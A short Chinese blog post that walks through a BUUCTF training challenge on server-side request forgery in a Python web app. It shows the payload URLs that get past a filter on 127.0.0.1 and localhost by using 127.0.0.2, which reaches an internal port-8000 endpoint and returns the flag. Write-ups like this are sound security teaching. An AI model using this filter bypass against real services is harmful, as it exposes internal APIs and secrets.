Buuctf——[第三章 web进阶]Python里的SSRF

Posted 2021-09-07 山川绿水

[第三章 web进阶]Python里的SSRF

打开题目，题目让我们传入url，测试SSRF漏洞

http://8c1aeca9-09c9-4a1b-8559-b27044dfd8c2.node4.buuoj.cn:81/?url=http://www.baidu.com

发现可以访问百度，根据题目提示说

我们就访问容器内部的8000端口

http://8c1aeca9-09c9-4a1b-8559-b27044dfd8c2.node4.buuoj.cn:81/?url=http://127.0.0.1:8000

但是127.0.0.1被过滤了，尝试了localhost

http://8c1aeca9-09c9-4a1b-8559-b27044dfd8c2.node4.buuoj.cn:81/?url=http://localhost:8000

localhost同样被过滤了，尝试127.0.0.2

http://8c1aeca9-09c9-4a1b-8559-b27044dfd8c2.node4.buuoj.cn:81/?url=http://127.0.0.2:8000

发现可以被访问，那在继续加上路径即可

http://8c1aeca9-09c9-4a1b-8559-b27044dfd8c2.node4.buuoj.cn:81/?url=http://127.0.0.2:8000/api/internal/secret 

得到flag

n1book{1132e28b5433c878}